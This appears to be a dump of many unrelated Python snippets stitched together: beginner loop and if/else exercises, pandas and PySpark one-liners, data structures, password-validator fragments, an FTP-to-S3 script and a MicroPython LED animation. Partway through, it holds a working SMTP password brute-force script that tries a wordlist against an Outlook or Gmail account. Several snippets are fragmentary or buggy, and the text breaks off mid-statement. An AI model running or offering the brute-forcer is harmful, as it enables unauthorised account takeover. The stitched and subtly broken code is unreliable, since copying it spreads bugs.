>>> l = [-1, 3, 2, 0,0]
>>> [sorted(l).index(x) for x in l]
[0, 4, 3, 1, 1]
class Node:
    def __init__(self, data):
        self.data = data
        self.next = None


class LinkedList:
    def __init__(self):
        self.head = None
        self.last_node = None

    def prepend(self, data):
        new_node = Node(data)
        new_node.next = self.head
        self.head = new_node

    def push(self, data):
        if self.last_node is None:
            self.head = Node(data)
            self.last_node = self.head
        else:
            self.last_node.next = Node(data)
            self.last_node = self.last_node.next

    def insert_after(self, prev_node, data):
        if not prev_node:
            print('Given node not present in the list')
            return
        new_node = Node(data)
        new_node.next = prev_node.next
        prev_node.next = new_node

    def pswap(self):
        temp = self.head
        if temp is None:
            return

        while (temp is not None and temp.next is not None):
            temp.data, temp.next.data = temp.next.data, temp.data
            temp = temp.next.next

    def display(self):
        current = self.head
        while current:
            print(current.data, end=' ')
            current = current.next


llist = LinkedList()
T = int(input())
for x in range(T):
    d = int(input())
    llist.push(d)

llist.display()
llist.pswap()
print()
llist.display()
# convert the 'Date' column to datetime format
df['Date']= pd.to_datetime(df['Date'])
 
# Check the format of 'Date' column
df.info()
#WHILE LOOPS
i=1

while i < 5:
    print(i)
    i+=1
print("\n")    

#FOR LOOPS    
#1
nome="diogo"
for letra in nome:
    print(letra)
print("\n")    
    
#2    
lista=["ola","diogo","teixeira"]
for palavra in lista:
    print(palavra)
print("\n")
 
#3
adjs=["nice", "top", "cool"]
nomes=["pedra","roda","bola"]

for adj in adjs:
    for nome in nomes:
        print(adj,nomes)
print("\n")

#4 (break)
nomes2=["ana","joao","hugo","pedro"]
for nomes in nomes2:
    print(nomes)
    if nomes=="hugo":
        break
print("\n")

#5 (conitnue)
for var in "Geeksforgeeks":
	if var == "e":
		continue
	print(var)

for i in range(1, 11):
	if i == 6:
		continue
	else:
		print(i, end=" ")

 
 
 
 
 
 
 
 
 
 
 
 
 
#IF
nome = input ("Qual o teu nome?\n")

if nome == "Diogo":
    print("Olá, " + nome + ", sê bem vindo.") 
    
#IF + ELSE
if nome == "Diogo":
    print("Olá, " + nome + ", sê bem vindo.") 
else:
    print("Olá, " + nome + ", sai já daqui! Não és bem vindo.")
    
#IF + ELSE (Nested)
#Exemplo 1
nome = input ("Qual o teu nome?\n")

if nome == "Diogo":
    skill=input("Olá, " + nome + ". És capaz de programar?\n")
    if skill=="Sim":
        print("Sê bem vindo!") 
        exit()
    else:
        print("Não tem mal. Sempre podes aprender.")
else:
    print("Olá, " + nome + ", sai já daqui! Não és bem vindo.")
    
    
#IF + ELSE (Nested)   
#Exemplo 2
 preço=140

if preço>400:
    print("Tlmv caro.")
    
elif preço>200:
    if preço>350:
        print("Tlmv a bom preço.")
    elif preço > 300:
        print("Tlmv a excelente preço.")
    else:    
        print("Comprar já!!!")
        
else:
        print("Telemóvel estragado")
        
#Exemplo 2 simplificado
preço=100
        
if preço>=400:
    print("Tlmv caro.")

elif preço>300:
    if 400>preço>=350:
        print("Tlmv a bom preço.")
    else:
        print("Tlmv a excelente preço.")

else:
    print("Tlmv estragado") 
        
 #IF + ELSE (Not Nested)   
 order=input("Que quilhas queres?\n")
    
if order=="performer neo glass":
    price=79
    print("O preço é: " + str(price) + "€")
elif order=="performer neo carbon":
    price=99
    print("O preço é: " + str(price) + "€")
elif order=="performer glass":
    price=120
    print("O preço é: " + str(price) + "€")
else:
    print("Não temos essas quilhas.")
    
    

    
    
#!/usr/bin/python
# Dyrk.org 2016-2017

import smtplib

# Outlook.com
smtp_s   = 'smtp-mail.outlook.com'

# Gmail
# smtp_s = 'smtp.gmail.com'

smtp_p = 587
sender = 'target_adress@hotmail.com'
dico   = 'pwdlist.txt'

with open(dico) as f:
    for password in f:
        password = password.replace('\n', '')
        try:
            m = smtplib.SMTP(smtp_s, smtp_p)
            m.ehlo()
            m.starttls()
            m.login(sender, password)
            print '[OK] => ' + sender + ' : ' + password
            m.close()
            exit()
        except smtplib.SMTPAuthenticationError, e:
            if e[0] == 534:  # Gmail
                print '[OK] => ' + sender + ' : ' + password
                print e
                exit()
            else:
                print 'try ' + password + ' .... err. ' + str(e[0]) \
                    + '   >>>  ' + e[1]

			
# Search for lines that contain 'From'
import re
hand = open('mbox-short.txt')
for line in hand:
    line = line.rstrip()
    if re.search('From:', line):
        print(line)

# Code: http://www.py4e.com/code3/re01.py
print('Hello, welcome to trivia')

ans = input('Are you ready to play (yes/no)')
score= 0
total_q = 4

if ans.lower() == 'yes':
    ans = input('1. What is the best programming language?')
    if ans.lower == 'python':
        score += 1
        print('Correct')
    else:
        print('Incorrect')
        score -= 1
        

    ans = input('2. What is 2 + 8 + 9 -1')
    if ans == '18':
        score += 1
        print('Correct')
    else:
        print('Incorrect')
        score -= 1


    ans = input('3. What is better, a 1050ti or a 1060 (graphics card)?')
    if ans == '1050ti':
        score += 1
        print('Correct')
    else:
        print('Incorrect')
        score -= 1


    ans = input('4. Who came second in the stanely cup finals?')
    if ans == 'nights' or ans.lower == 'vegas':
        score += 1
        print('Correct')
    else:
        print('Incorrect')
        score -= 1
#WHILE LOOPS
x=0
while x<5:
    print("Not there yet, x=" + str(x))
    x=x+1
print("x="+str(x))    

print("\n")

x=0
while x<8:
    print("Not there yet, x=" + str(x))
    x=x+1
print("x="+str(x))    

print("\n")
#MORE WHILE LOOPS
def attempts(n):
    x=1
    while x<=n:
        print("Attempt" + str(x))
        x+=1
    print("Done")    
attempts(3)
    
    
print("\n")
#INITIALIZING VARIABLES
def count_down(start_number):
    current=3
    while current>0:
        print(current)
        current-=1
    print("zero")
count_down(434) #é indiferente o número daqui   

print("\n")
def count_down(start_number):
    current=6
    while current>0:
        print(current)
        current-=1
    print("zero")
count_down(434) 
# string.split(separator, maxsplit)
	# separator is optional and refers to any whitespace as default. It indicates which separator to use when splitting the string
	# maxsplit is optional and specifies how many splits to do. Default value is -1, whichis "all occurrences"
----
# Below, we try to extract "stephen.marquard" from "From stephen.marquard@uct.ac.za Sat Jan  5 09:14:16 2008".
line = "From stephen.marquard@uct.ac.za Sat Jan  5 09:14:16 2008"
words = line.split() # words = ['From', 'stephen.marquard@uct.ac.za', 'Sat', 'Jan', '5', '09:14:16', '2008']
email = words[1] # email = stephen.marquard@uct.ac.za
pieces = email.split('@') # pieces = ['stephen.marquard', 'uct.ac.za']
print(pieces[1])
---
# setting the maxsplit parameter to 2, will return a list with 3 elements
line = "From stephen.marquard@uct.ac.za Sat Jan  5 09:14:16 2008"
words = line.split(' ', 2)
print(words) # ['From', 'stephen.marquard@uct.ac.za', 'Sat Jan  5 09:14:16 2008']
t = ['zero', 'one', 'two']
x = t.pop(1)
print(t)
# ['zero', 'two']
print(x) #pop() can return the element that was removed. 
# one
----
#If you don’t provide an index, it deletes and returns the last element.
t = ['zero', 'one', 'two']
x = t.pop()
print(t)
# ['zero', 'one']
print(x)
# two
mutable_list = [2, 14, 26, 41, 63]
print(mutable_list)
# [2, 14, 26, 41, 63]
mutable_list[2] = 49 #We change the value in index 2 into '49'
print(mutable_list)
# [2, 14, 49, 41, 63]
if *test* : # A test is an expression that is assessed to either True or False. 
	*block of code* # To be carried out if test is assessed to True
else: 
	*block of code* # To be carried out if test is assessed to False

or #Without optional block of code
if *test* :
	*block of code*  
f = open("C:\\Users\\username\\....\\demofile.txt", "w")
f.write("What if we rewrite the file? Say you were made to be mine. ")
f = open(r"C:\\Users\\username\\....\\demofile.txt")
print(f.read())

#Output
#What if we rewrite the file? Say you were made to be mine.
import random

number_of_doors = 5

# Display welcome messages
print("Welcome to the Goblin Hunt")
print("An award-winning game full of adventure and excitement (!)")

# Get player name
player_name = input("What is your name? ")
print( player_name + ", a goblin is hiding in one of the kitchen cupboards. Do you think that you can find it?")

print("|_|" * number_of_doors)

goblin_position = random.randint(1, number_of_doors)

keep_trying = True

# Main game loop
while keep_trying:
  guessed_position = input("Can you guess where the goblin is hiding? ")
  guessed_position = int(guessed_position)

  if guessed_position == goblin_position:  # If player guesses correctly
    print("Well done. You've found the goblin.")
    keep_trying = False
  else:  # If player's guess is incorrect
    print("No, sorry. The goblin is still hiding somewhere.")
    
print("Thank you for playing. Now get back to work!")
# list_of_names = [...]

# Define your own function for program to look at the first letter of that name and decide whther to write name into a list.
def find_names_starting_with(letter, names):
    result = [] # Create a variable called result and give it an empty list
    for name in names: # Use for loop to repeat following code for every names in given list
        if name[0] == letter: # Change the letter into desired first letter
            result.append(name) # Add name with desired first letter to the end of list

    return result # Return statements sends data from the function back to the main program.

# Define your own function for program to filter the names in the list based on the number of letters in the name.
def find_names_of_length(length, names): 
    result = [] # Create a variable called result and give it an empty list
    for name in names:
        if len(name) == length: # Function len() returns the length of any data type that’s a sequence. When you use it on a list, it will return the number of items in the list, and when you use it on a string, it returns the number of characters.
            result.append(name) # Add name with desired number of letters to the end of list

    return result 

# Insert your desired first letter in example shown below
# names_e = find_names_starting_with("E", list_of_names)
names_e = find_names_starting_with("E", list_of_names)
# Insert desired number of letters in the name in example shown below
# names_e_and_6 = find_names_of_length(6, names_e)
names_e_and_6 = find_names_of_length(6, names_e)

# Finally, print the two lists.
print(names_e)
print(names_e_and_6)
file_name = input('Enter the file name:  ')
  try:
      file_handler = open(file_name)
  except:
      print('File cannot be opened:', file_name)
      quit()
handler = open('textfile.txt')
for line in handler:
    line = line.rstrip()
    if not '@uct.ac.za' in line : 
        continue
    print(line)
handler = open('textfile.txt')
for line in handler:
    line = line.rstrip() #rstrip() method removes characters at the end a string. 
    if not line.startswith('From:') : #For this case, we remove any lines between lines staring with "From:""
        continue
    print(line)
handler = open('textfile.txt')
for line in handler:
    if line.startswith('From:') : #State your criteria. For example, the line must start with "From:"
        print(line)
              
              
handler = open('textfile.txt')
count = 0
for line in handler: #for loop reads each line
    count = count + 1
print('Line Count:', count)
print("Hello, World!")

####################################

if 5 > 2:
  print("Five is greater than two!")
  
  

if 5 > 2:
  print("Five is greater than two!")

##################################

x = 5
y = "Hello, World!"

print(x)
print(y)

#This is a single line comment

"""
This is a comment
written in
more than just one line
"""

#################################

x = 5
y = "John"
print(x)
print(y)

##############################

x = 4       # x is of type int
x = "Sally" # x is now of type str
print(x)

#############################

x = str(3)    # x will be '3'
y = int(3)    # y will be 3
z = float(3)  # z will be 3.0

print(x)
print(y)
print(z)

############################

x = 5
y = "John"
print(type(x))
print(type(y))

############################

x = "John"
# is the same as
y = 'John'

print(x)
print(y)

###########################

a = 4
A = "Sally"
#A will not overwrite a

print(a)
print(A)

#########################

myvar = "John"
my_var = "John"
_my_var = "John"
myVar = "John"
MYVAR = "John"
myvar2 = "John"

print(myvar)
print(my_var)
print(_my_var)
print(myVar)
print(MYVAR)
print(myvar2)

########################


x = "My name is Sadman + Samin = SadManSamIN. What is that you intend to do?"
print(x)

############################

#Multi word variable name case

myVariableName = "Camel"
MyVariableName = "Pascal"
my_variable_name = "Snake"

print(myVariableName) 
print(MyVariableName)
print(my_variable_name)

#############################

#Multiple variables at once.

x, y, z = "I", "am", "Sam"
print(x)
print(y)
print(z)
 
"""
 we can use print command in the same line using
 comma(,) like this.
"""
 
print(x), print(y)

#####################

#Assigning same value to multiple variables at once.

x = y = z = "My_Variable"
print(z)
print(y)
print(x)

####################

#Unpacking collection

Fruits = ["Orange", "Apple", "Anhilation"]

x, y, z = Fruits
print(x)
print(y)
print(z)

#Packing tuple

fruits = ("Apple", "Orange", "Cherry")
print(fruits)

#Unpacking tuple
(green, yellow, red) = fruits
print(green)
print(yellow)
print(red)
import os

# Function to rename multiple files
def main():
    i = 0
    path = r"path_name"
    for filename in os.listdir(path):
        dst = str(i).zfill(4) + ".jpg"
        src = os.path.join(path, filename)
        dst = os.path.join(path, dst)
        os.rename(src, dst)
        i += 1
    return print("{} FILES COMPLETADOS".format(len(os.listdir(path))))


# Driver Code
if __name__ == "__main__":

    # Calling main() function
    main()
df[df.columns[df.columns.str.contains(pat = 'WORDABC9')]]
   WORDABC9N123  WORDABC99N123
0            13             16
1            14             17
2            15             18

df[df.columns[df.columns.str.contains(pat = 'WORDABC9\\b')]]
Empty DataFrame
Columns: []
Index: [0, 1, 2]
df_sets[df_sets['year'] == 1949] # filter a complete data based on specific criteria

df_sets.sort_values('year', ascending=True).head() # find first year in data

df_sets.sort_values('num_parts', ascending=False).head(n=10) # top 10 based on criteria

df['name'].nunique() # number of unique values

df.name.unique()  # unique values output
df['name'].unique() # same as before - unique values output
df['new_col']=df[cols_lst].astype("str").sum(1)
# Opcion 1, select column index: 1,2,3

new = old.iloc[:,[1,2,3]].copy()

# Opcion 2, do not forget the double square breaks 

new = old[['a','b','c']].copy

list1 = []
list1[:0] = string
return list1
def sigma(first, last, const):
    sum = 0
    for i in range(first, last + 1):
        sum += const * i
    return sum

# first : is the first value of (n) (the index of summation)
# last : is the last value of (n)
# const : is the number that you want to sum its multiplication each (n) times with (n)
from scipy.stats import norm

# What percentage of man are shorter than 154
mean = 161
standard_deviation = 7

from scipy.stats import norm
norm.cdf(154, mean, standard_deviation)
# Generate 10 random heights
mean = 161
standard_deviation = 7

from scipy.stats import norm
norm.rvs(mean, standard_deviation, size = 10)
import sys
directory_path = os.path.abspath(os.path.join('../code_shared'))
if directory_path not in sys.path:
    sys.path.append(directory_path)
import params_file as pf
import functions_file as ff
df = pd.DataFrame(data=_list)
df['epoch_time'] = df['time'].apply(lambda x: datetime.strptime(x, "%Y-%m-%dT%H:%M:%S.%fZ"))
freq = {3: 3, 2: 6, 1: 4}
k = 2

sort_orders = {k: freq[k] for k in sorted(freq, key=freq.get, reverse=True)[:k]}
print(sort_orders)

# Output {2: 6, 1: 4}
freq = {3: 3, 2: 6, 1: 4}
k = 2

sort_orders = [k for k in sorted(freq, key=freq.get, reverse=True)[:k]]
print(sort_orders)

# Output [2, 1]
if __name__ == '__main__':

    thePass = "Password123!"
    theSalt = "12345"

    if validate_strong_password(thePass):
        print(thePass, " Meets the Criteria")
        result, resultingHash = gen_pass_hash(thePass, theSalt)
def gen_pass_hash(password, salt):
    try:
        string_to_hash = password + salt
        hash_obj = hashlib.sha256(str(string_to_hash).encode('utf-8'))
        return True, hash_obj.hexdigest()
    except IndexError:
        return False, "Hashing Failure"
if __name__ == '__main__':

    thePass = "NullIsB4d!"
'''
Simple Function to generate a SHA256 hash of password. Password is first changed to Unicode.

'''

def gen_pass_hash(password):
    try:
        string_to_hash = password
        hash_obj = hashlib.sha256(str(string_to_hash).encode('utf-8'))
        return True, hash_obj.hexdigest()
    except IndexError:
        return False, "Hashing Failure"
    # Check for triple repeats

    pos = 0
    for eachChar in password:
        if pos < pw_len - 2:
            if eachChar == password[pos + 1] and eachChar == password[pos + 2]:
                no_rpt = False
            else:
                pos += 1

    # Check for out of range characters

    for eachChar in password:
        val = ord(eachChar)
        if val < 0x20 or val > 0x7f:
            rng = False

    if upp and low and num and spc and cnt and rng and no_rpt:
        return True
    else:
        return False
# Main Program Starts Here
# ===================================

if __name__ == '__main__':

    thePass = "\0NullIsB4d!"

    if validate_strong_password(thePass):
        print(thePass, " Meets the Criteria")
    else:
        print(thePass, " Has an out-of-range character")
import random
import numpy as np
def create_square_array(n):
    return np.array([random.randint(0, n**2) for i in range(n*n)]).reshape(n,n)
create_square_array(8)
df.groupby('is_trans').count() # group data by "is_trans" and count others var

df[['name','is_trans']].groupby('is_trans').count() # same as above but with specifi col

df.is_trans.value_counts() # count haw many time a value is repeated in a col
class Solution:
    def romanToInt(self, s):
 
        values = {'I': 1, 'V': 5, 'X': 10, 'L' : 50, 'C' : 100, 'D' : 500, 'M' : 1000}   
        result = 0
        for i in range(len(s)):
            if i + 1 < len(s) and values[s[i]] < values[s[i + 1]] : # if current item is not the last item on the string
                                                                    # and current item's value is smaller than next item's value 
                result = result - values[s[i]]                      # then subtract current item's value from result
            else:
                result = result + values[s[i]]                      # otherwise add current item's value to result
        return result

Task = Solution()
print(Task.romanToInt("III"))
print(Task.romanToInt("LVIII"))
print(Task.romanToInt("MCMXCIV"))
import pandas as pd # for manage data
import matplotlib.pyplot as plt # for manage plots and graphs
if __name__ == '__main__':

    if validate_strong_password("A11aBC!!11"):
        print("Strong")
    else:
        print("Weak")
pos = 0

    for eachChar in password:
        if pos < pw_len - 2:
            if eachChar == password[pos + 1] and eachChar == password[pos + 2]:
                no_rpt = False
            else:
                pos += 1

    if upp and low and num and spc and cnt and no_rpt:
        return True
    else:
        return False
if len("password") >= 8:
import ftplib
import subprocess

# Credentials
username = ""
password = ""

# FTP Server Info
ip = ""
dnsName = ""
port = 

# QUA - FTP Location of Files
ftppath = "/BI_QUA/Expedicao"

# QUA - Bucket S3 Location of Files
bucketPath = "s3://analytics-qa-data-raw/expedicoes/"


#Open FTP Connection
def openFTPServer(ip, port, username, password):
    server = ftplib.FTP()
    server.connect(ip, port)
    server.encoding = "utf-8"
    server.login(username, password)
    return server

#Return list of files available on source
def getListOfFiles(server, path):
    files_list = []
    if server is not None:
        server.cwd(path)
        server.dir(files_list.append)
    return files_list

#Clean some string Junk and returns clean filename
def getNamesOfFiles(files_list):
    filenames = []
    for line in files_list:
        elem = line.split(" ")
        filenames.append(elem[-1])

    return filenames

#Download Files
def getFiles(server, filenames):
    for namefile in filenames:
        with open(namefile, "wb") as file:
            server.retrbinary(f"RETR {namefile}", file.write)


#Ends a FTP connection
def closeFTPConnection(server):
    server.quit()


#Moves the files to the bucket
def moveFilesToBucket(files, bucketPath):
    for file in files:
        subprocess.call(['aws', 's3', 'mv', file, bucketPath])


# MAIN Execution
server = openFTPServer(ip, port, username, password)
filesList = getListOfFiles(server, ftppath)
filenames = getNamesOfFiles(filesList)
getFiles(server, filenames)
closeFTPConnection(server)
moveFilesToBucket(filenames,bucketPath)
# Main Program Starts Here
# ===================================

if __name__ == '__main__':

    passTests = ["Short7!",
                 "nouppercase7!",
                 "NOLOWERCASE7!",
                 "NoNumber!",
                 "NoSpecial7",
                 "GoodPass7!"]

    for eachTest in passTests:
        if validate_strong_password(eachTest):
            print(eachTest, "PASS")
        else:
            print(eachTest, "FAIL")
 # Validate all conditions

    for eachChar in password:
        if eachChar in "ABCDEFGHIJKLMNOPQRSTUVWXYZ":
            upp = True
        elif eachChar in "abcdefghijklmnopqrstuvwxyz":
            low = True
        elif eachChar in "0123456789":
            num = True
        elif eachChar in "!@#$%^&*()_-=+/\';><,.>":
            spc = True
        else:
            continue
    if len("password") >= 8:
        cnt = True

    if upp and low and num and spc and cnt:
        return True
    else:
        return False
from google.colab import drive
drive.mount('/content/drive')
def arg_printer(a, b, *args, option=True, **kwargs):
   print(a, b)
   print(args)
   print(option)
   print(kwargs)
   
   
arg_printer(1, 4, 6, 5, param1=5, param2=6)

# prints:

# 1 4
# (6, 5)
# True
# {'param1': 5, 'param2': 6}
import os
from PIL import Image
folder_path = //folder_images # maybe could be better if theres no subdirectories
extensions = []
for fldr in os.listdir(folder_path):
    sub_folder_path = os.path.join(folder_path, fldr)
    for filee in os.listdir(sub_folder_path):
        file_path = os.path.join(sub_folder_path, filee)
        print('** Path: {}  **'.format(file_path), end="\r", flush=True)
        im = Image.open(file_path)
        rgb_im = im.convert('RGB')
        if filee.split('.')[1] not in extensions:
            extensions.append(filee.split('.')[1])
import time
import numpy as np

def timeit(somefunc,*args,repeats=100,**kwargs):
    
    times=[] # initialise array to collect the time for each repetition
    
    for i in range(repeats): # set loop for number of repetitions to run and time the function that many times

        starttime=time.time() # set start

        ans=somefunc(*args,**kwargs) # run the function 

        endtime=time.time() # set end

        timetaken=endtime-starttime # calculate time from start and end

        times.append(timetaken) # append time for this run to the times list
    
    mean=np.mean(times) # calculate the average time across the repetitions

    stdev=np.std(times) # get the standard deviation of the times

    error=stdev/(repeats**0.5) # get the error?
 
    return (ans,mean,error)
# LED Candle animation for microypthon on esp8266

import time
import uos
import math
import machine
import neopixel


# number of leds in the strip
LED_COUNT = 20

# base color
r = 99
g = 31
b = 6

np = neopixel.NeoPixel(machine.Pin(4), LED_COUNT)


def show():
   np.write()

def Color(r, g, b):
    return (int(r), int(g), int(b))


def setPixelColor(i, color):
    np[i] = color


def wait(ms):
   time.sleep(ms/1000.0)


def randint(min, max):
    return min + int(int.from_bytes(uos.urandom(2), 10) / 65536.0 * (max - min + 1))


def c_brightness(c, brightness):
    return max(0, min(c * brightness / 100, 255))


class LED_light(object):
    def __init__(self, pos):
        self.time = 0
        self.pos = pos


    def update(self, delta):
        self.time = self.time - delta
        if self.time <= 0:
            self.random_mode()
            self.random_duration()


    def set_brightness(self, brightness):
        setPixelColor(self.pos, Color(c_brightness(r, brightness), c_brightness(g, brightness), c_brightness(b, brightness)))


    def random_mode(self):
        # Probability Random LED Brightness
        # 50% 77% –  80% (its barely noticeable)
        # 30% 80% – 100% (very noticeable, sim. air flicker)
        #  5% 50% –  80% (very noticeable, blown out flame)
        #  5% 40% –  50% (very noticeable, blown out flame)
        # 10% 30% –  40% (very noticeable, blown out flame)
        brightness = 0
        r = randint(0, 100)
        if r < 50:
            brightness = randint(77, 80)
        elif r < 80:
            brightness = randint(80, 100)
        elif r < 85:
            brightness = randint(50, 80)
        elif r < 90:
            brightness = randint(40, 50)
        else:
            brightness = randint(30, 40)
        self.set_brightness(brightness)


    def random_duration(self):
        # Probability Random Time
        # 90% 20 ms
        #  3% 20 – 30 ms
        #  3% 10 – 20 ms
        #  4%  0 – 10 ms
        r = randint(0, 100)
        if r < 90:
            self.time = 20
        elif r < 93:
            self.time = randint(20, 30)
        elif r < 96:
            self.time = randint(10, 20)
        else:
            self.time = randint(0, 10)


def main():
    candles = [LED_light(i) for i in range(LED_COUNT)]
    while True:
        now = time.ticks_ms()
        [l.update(now) for l in candles]
        show()
        wait(2)


main()
import io

from fastapi import FastAPI
from fastapi.responses import StreamingResponse
from fastapi.staticfiles import StaticFiles


app = FastAPI()

# create a 'static files' directory
# create a '/static' prefix for all files
# serve files from the 'media/' directory under the '/static/' route
#   /Big_Buck_Bunny_1080p.avi becomes '/static/Big_Buck_Bunny_1080p.avi'
# name='static' is used internally by FastAPI
app.mount("/static", StaticFiles(directory="media"), name="static")


@app.get("/")
async def main():
    # open the movie file to stream it
    movie = open("media/Big_Buck_Bunny_1080p.avi", "rb")
    # return a stream response with the movie and a MIME type of 'video/avi'
    return StreamingResponse(movie, media_type="video/avi")
I've been reading the following example, and couldn't figure out, what
**kw mean. (It's an empty dictionary, but what's the semantics):
It's a keyword argument. It's some kind of repository for arguments
that aren't recognized.

If you have function like this:
  
def func(a, *args, *kw):
	print a
	print args
	print kw

and you call the functin like this:

func('value A', 'value B', 'value C', argumentA = 'value D', argumentB = 'value D')

the extra arguments would normally raise an error, but with the * and **, Python would:
- assign 'value B' and 'value C' to args
- assign 'argumentA':'value D' and 'argumentB':'value E' to kw

so if you run the function, it will output:
####
value A
('value B', 'value C')
{'argumentB': 'value E', 'argumentA': 'value D'}
####

the args and kw can be accessed like a tuple and dictionary respectively
import ctypes as ct 
from tkinter import *

def setWinStyle(root):
    set_window_pos = ct.windll.user32.SetWindowPos
    set_window_long = ct.windll.user32.SetWindowLongPtrW
    get_window_long = ct.windll.user32.GetWindowLongPtrW
    get_parent = ct.windll.user32.GetParent

    # Identifiers
    gwl_style = -16

    ws_minimizebox = 131072
    ws_maximizebox = 65536

    swp_nozorder = 4
    swp_nomove = 2
    swp_nosize = 1
    swp_framechanged = 32

    hwnd = get_parent(root.winfo_id())

    old_style = get_window_long(hwnd, gwl_style) # Get the style

    new_style = old_style & ~ ws_maximizebox & ~ ws_minimizebox # New style, without max/min buttons

    set_window_long(hwnd, gwl_style, new_style) # Apply the new style

    set_window_pos(hwnd, 0, 0, 0, 0, 0, swp_nomove | swp_nosize | swp_nozorder | swp_framechanged)     # Updates

window = Tk()
Button(window, text="button").pack() # add your widgets here.
window.after(10, lambda: setWinStyle(window)) #call to change style after the mainloop started. Directly call setWinStyle will not work.
window.mainloop()
    import ctypes as ct

    set_window_pos = ct.windll.user32.SetWindowPos
    set_window_long = ct.windll.user32.SetWindowLongPtrW
    get_window_long = ct.windll.user32.GetWindowLongPtrW
    get_parent = ct.windll.user32.GetParent

    # Identifiers
    gwl_style = -16

    ws_minimizebox = 131072
    ws_maximizebox = 65536

    swp_nozorder = 4
    swp_nomove = 2
    swp_nosize = 1
    swp_framechanged = 32

    hwnd = get_parent(settings_panel.winfo_id())
    # Get the style
    old_style = get_window_long(hwnd, gwl_style)
    # New style, without max/min buttons
    new_style = old_style & ~ ws_maximizebox & ~ ws_minimizebox
    # Apply the new style
    set_window_long(hwnd, gwl_style, new_style)
    # Updates
    set_window_pos(hwnd, 0, 0, 0, 0, 0, swp_nomove | swp_nosize | swp_nozorder | swp_framechanged)
# function to create queue
def CreateQueue():
  queue = []
  return queue

# create function to check whether 
# the queue is empty or not
def isEmpty(queue):
  if(len(queue) == 0):
    print("Queue is empty.")
  else:
    print("Queue is not empty.") 
    
#create function to return size of the queue       
def size(queue):
  return len(queue)

#create function to add new element       
def EnQueue(queue, newElement):
  queue.append(newElement)
  print(newElement, "is added into the queue.")

#create function to delete front element       
def DeQueue(queue):
  print(queue.pop(0), "is deleted from the queue.")

#create function to get front element       
def frontElement(queue):
  return queue[0]

#create function to get rear element       
def rearElement(queue):
  return queue[len(queue) - 1]

#test the code                
MyQueue = CreateQueue()

EnQueue(MyQueue, 10)
EnQueue(MyQueue, 20)
EnQueue(MyQueue, 30)
EnQueue(MyQueue, 40)

DeQueue(MyQueue)
isEmpty(MyQueue)
promt = "\nWhat toppingf would you like on your pizza?"
promt += "\nEnter 'done' when you are finished: "

while True:
    topping = input(promt)
    if topping.lower() != "done":
        print("Ill add " + topping + " to your pizza.")
    else:
        break
>>> re.findall(r"[-+]?(?:\d*\.\d+|\d+)", "Current Level: -13.2db or 14.2 or 3")
['-13.2', '14.2', '3']
# get first row
print(dataframe.collect()[0])
  
# get second row
print(dataframe.collect()[1])
  
# get last row
print(dataframe.collect()[-1])
  
# get third row
print(dataframe.collect()[2])
from pyspark.sql.types import IntegerType,BooleanType,DateType
# Convert String to Integer Type
df.withColumn("age",df.age.cast(IntegerType()))
df.withColumn("age",df.age.cast('int'))
df.withColumn("age",df.age.cast('integer'))

# Using select
df.select(col("age").cast('int').alias("age"))

#Using selectExpr()
df.selectExpr("cast(age as int) age")

#Using with spark.sql()
spark.sql("SELECT INT(age),BOOLEAN(isGraduated),DATE(jobStartDate) from CastExample")

df.groupBy("Add","Name").agg({'id':'sum'}).show()

>>> ps.date_range(start='1/1/2018', periods=5, freq='M')  
DatetimeIndex(['2018-01-31', '2018-02-28', '2018-03-31', '2018-04-30',
               '2018-05-31'],
              dtype='datetime64[ns]', freq=None)
from PIL import Image  
import matplotlib.pyplot as plt
%matplotlib inline

img_paht = "/content/drive/MyDrive/Imagenes/"
file = img_paht+'6.jpg'

I = Image.open(file)
plt.imshow(I)
plt.title('Imagen_1'),plt.axis('off') 
plt.show()
# import required module
import unidecode
 
# assign string
string = "orčpžsíáýd"
 
# display original string
print('\nOriginal String:', string)
 
# remove ascents
outputString = unidecode.unidecode(string)
 
# display new string
print('\nNew String:', outputString)
for x in "banana":
  print(x) 
​
wb = op.load_workbook(filename=BytesIO(bb))
ws = wb.worksheets[0]
_data = ws.values
columns = next(_data)[0:]
df = pd.DataFrame(_data, columns=columns)
import requests
from io import BytesIO
import tarfile
import openpyxl as op
url = "https://url/files.tar.gz".format(_name.lower())
    r1 = requests.get(url, stream=True, verify=False)
    #print(_config, r1.status_code)
    if (_config and r1.status_code == 200):
        try:    
            tar = tarfile.open(fileobj=BytesIO(r1.content))
            bb = tar.extractfile('output/risks.xlsx').read()
            wb = op.load_workbook(filename=BytesIO(bb))
            ws = wb.worksheets[0]
            _data = ws.values
            columns = next(_data)[0:]
            df = pd.DataFrame(_data, columns=columns)
            df['Application'] = _name.upper()
            df['ST'] = _config
            _final = _final.append(df[1:])
from google.colab import drive
drive.mount('/content/drive', force_remount=True)
root_dir = "/content/drive/My Drive/"
base_dir = root_dir + '[nombre_directorio_especifico]'
print(base_dir)
#end = ''
#pass the end = '' argument in your print()

print(*[1, 2, 3], end = '')
class node:            
    '''
     IN BETWEEN NODES IN LINKEDLIST
    '''
         
    def __init__(self,data=None):
        self.data = data 
        self.nextref=None
        
class linkedlist:
    def __init__(self): 
        self.head=None           # Todo head node intialize
        

            
    def insert(self,newdata):    #Todo insertng at beginning of the node
        newnode=node(newdata)
        newnode.nextref =self.head
        self.head=newnode
        
    def middle(self,pos,newdata):
        newnode=node(newdata)
        if pos< 1:
            print("exist") 
        elif (pos==1):
            newnode.nextref =self.head
            self.head=newnode
        else:
            temp=self.head
            for i in range(1,pos-1):
                if(temp!=None):
                    temp=temp.nextref
            if(temp!=None):
                newnode.nextref=temp.nextref
                temp.nextref=newnode
            else:
                print("null")
        
    def append(self,newdata):
        newnode=node(newdata)
        if self.head is None:
            self.head=newnode
            return
        temp=self.head
        while(temp.nextref):
            temp=temp.nextref
            temp.nextref=newnode
            
            
    def deletef(self):
        if(self.head!=None):
            temp=self.head
            self.head=self.head.nextref
            temp=None
       
    def printlist(self):         # TODO PRINT THE NODE
        temp=self.head
        while (temp):
            print(temp.data,end='')
            temp=temp.nextref
         
      
           
        
l1=linkedlist()
                              #todo connecting the nodes second to third

l1.insert(1) 
l1.insert(7)                   #todo inserting the node calling before printlist()
l1.insert(8)
l1.insert(9)

l1.deletef()
l1.middle(6,10)
l1.middle(7,38)



l1.append(6)
l1.printlist()                  #todo callling the printfunction
>>> from darts.dataprocessing.transformers import Scaler

>>> transformer = Scaler(scaler)

>>> series_transformed = transformer.fit_transform(series)

>>> series_inversed_transformed = transformer.inverse_transform(series_transformed)


#Python function 
 def func_name(param):
      return param + 10

#Python lambda
func_name = lambda param: param + 10
hwid = str(subprocess.check_output(
